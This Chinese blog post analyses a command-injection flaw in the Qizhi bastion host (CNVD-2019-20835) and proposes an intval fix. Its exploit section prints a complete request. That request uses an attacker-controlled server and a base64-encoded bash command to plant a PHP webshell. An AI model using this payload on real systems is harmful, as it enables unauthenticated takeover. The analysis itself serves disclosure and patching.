齐治堡垒机前台远程命令执行漏洞(CNVD-2019-20835)分析
一、基本信息
漏洞公告:https://www.cnvd.org.cn/flaw/show/1632201
补丁信息:该漏洞的修复补丁已发布,如果客户尚未修复该补丁,可联系齐治科技的技术支持人员获得具体帮助。
二、源代码分析
问题出现在ha_request.php文件,第37行的exec函数,$url为用户可控的变量,可见第33和34行。目光来到第23和24行,只要node_request函数的返回值为“OK”,即可跳过fatal函数(此函数为自定义函数,作用类似PHP内置的exit函数),继续往下执行。
Node_request函数的定义在include/common.php文件中,见下图2。按照其原本的逻辑,其作用是请求$url,并返回其内容。根据代码逻辑,$url = "http://$req_ipaddr"."/listener/$method.php?n=$req_node_id&a=".urlencode(json_encode($args));。所以$url变量值类似于http://10.20.10.11/listener/cluster_manage.php?n=1&a=%5B%22install%22%5D这样的字符串。
但是$req_ipaddr和$req_node_id均来自用户输入。因此,假设10.20.10.11为黑客可控的服务器,listener/cluster_manage.php文件的内容为“<?php echo ‘OK’;>”,即可使得node_request函数返回“OK”,从而跳过fatal函数,继续往下执行来到exec函数。
回到exec函数,此时该函数的第一个参数是这样的,"wget --no-check-certificate http://10.20.10.11 /ha_get_install.php?n=$req_node_id -O backup_scripts.tar.bz2",所以我们的payload只能放在$req_node_id变量中。
见下图3,$req_ipaddr和$req_node_id其实来自于$_REQUEST[‘ipaddr’]和$_REQUEST[node_id’],并做了全局过滤,删除掉一些危险字符。
图1
图2
图3
三、漏洞利用
利用条件:无需登录
利用过程:
第一,http://10.20.10.11/listener/cluster_manage.php返回“OK”。
第二,执行以下链接即可getshell,执行成功后,生成PHP一句话马/var/www/shterm/resources/qrcode/lbj77.php密码10086。这里假设10.20.10.10为堡垒机的IP地址。
https://10.20.10.10/ha_request.php?action=install&ipaddr=10.20.10.11&node_id=1${IFS}|`echo${IFS}"ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}-d|bash`|${IFS}|echo${IFS}
四、参考及修复建议
1、修复建议
$node_id的看起来应该是一个整数,所以只需在ha_request.php文件开头,添加以下一行代码,对该变量进行过滤即可。
$node_id = @intval($req_node_id);
2、参考
https://www.php.net/manual/en/function.exec.php
https://www.anquanke.com/post/id/84920
转载请注明出处。
转载于:https://www.cnblogs.com/StudyCat/p/11256944.html
齐治堡垒机前台远程命令执行漏洞(CNVD-2019-20835)分析相关推荐
- 齐治堡垒机后台存在命令执行漏洞(CNVD-2019-17294)分析
基本信息 引用:https://www.cnvd.org.cn/flaw/show/CNVD-2019-17294 补丁信息:该漏洞的修复补丁已于2019年6月25日发布.如果客户尚未修复该补丁,可联 ...
- 开源堡垒机JumpServer远程命令执行漏洞复现
声明 好好学习,天天向上 漏洞描述 JumpServer 是全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 是符合4A 的专业运维审计系统.JumpServer 使用Python ...
- 齐治堡垒机_任意用户登录漏洞
fofa查询语法 app="齐治科技-堡垒机" 漏洞复现 漏洞POC为 http://xxx.xxx.xxx.xxx/audit/gui_detail_view.php?token ...
- mysql堡垒机漏洞_关于近期网传齐治堡垒机漏洞的声明
尊敬的用户: 齐治科技(下述简称"齐治")注意到近期有消息称"齐治堡垒机存在未修复的前台远程代码执行漏洞".经过确认,消息提及的漏洞是齐治已停售产品Shterm ...
- 齐治堡垒机ShtermClient-2.1.1命令执行漏洞(CNVD-2019-09593)分析
一.基本信息 参考:https://www.cnvd.org.cn/flaw/show/1559039 补丁信息:该漏洞的修复补丁已于2019年4月1日发布.如果客户尚未修复该补丁,可联系齐治科技的技 ...
- 齐治堡垒机配置文件服务器,齐治堡垒机操作手册-20210703081118.docx-原创力文档
Copyright ? 2009-2011 Copyright ? 2009-2011 齐治科技Page PAGE # 齐治堡垒机操作手册 中国旅游集团 信息共享中心 2020年2月 版本 TOC \ ...
- mysql堡垒机漏洞_绿盟UTS绕过登录/齐治堡垒机 rce
1.绿盟UTS绕过登录 随便输密码->修改返回包为True->放行->等待第二次拦截包->内含管理员MD5->替换MD5登录 直接请求接口:/webapi/v1/syst ...
- 安恒堡垒机使用手册_齐治堡垒机简易使用手册
================ 精选公文范文, 管理类, 工作总结类, 工作计划类文档, 欢迎阅读下载 ============== -------------------- 精选公文范文,管理类, ...
- FastJson远程命令执行漏洞
FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...
最新文章
- Compiere去掉启动时的下面显示的进度条
- 为什么你老是讲不清楚js的继承模式
- 如何做相册_腾讯相册管家再创相册管理软件新纪元
- spark submit 运行的时候增加ack命令
- Polemo Chat客户端行为
- http://selectorgadget.com/
- [翻译]禅与文件和文件夹组织的艺术 上
- Vue和MVVM的对应关系
- 根据控制点坐标对完成坐标转换
- Android系统信息获取 之十一:获取IMEI,IMSI号
- EditRocket for Mac(源代码编辑器)v4.5.10
- 学习笔记: yield迭代器
- Git,GitHub入门
- 精细化管理设备资产,降低企业运营成本
- php程序员自我描述_PHP程序员求职简历的自我评价范文
- 滴滴美团58携程,那些发生在大并购谈判桌背后的故事
- 干货丨3分钟了解今日头条推荐算法原理(附视频+PPT)
- IntelliJ IDEA 2017 汉化包及安装
- 神卓互联是什么?优秀的内网穿透
- flask中ajax的使用,jquery – 使用ajax时,Flask flash消息不再有效
热门文章
- DELL-R730服务器U盘安装操作系统指南
- 部分选中文件的快捷键
- 非核心版本的计算机上_计算机四级网络工程师知识点笔记(备考指南)
- visual studio 2022安装vsix插件
- 邮件传输过程,MUA,MTA,MDA的概念
- Java基础:数据类型与变量
- vim删除奇数行_如何用vim删除特定的偶数行?
- 怎么把图片按12345....顺序排列
- 《高校bbs或者科研论坛》
- 大数据学习系列(九)Hadoop1.X痛点分析及Hadoop2.X提出的解决方案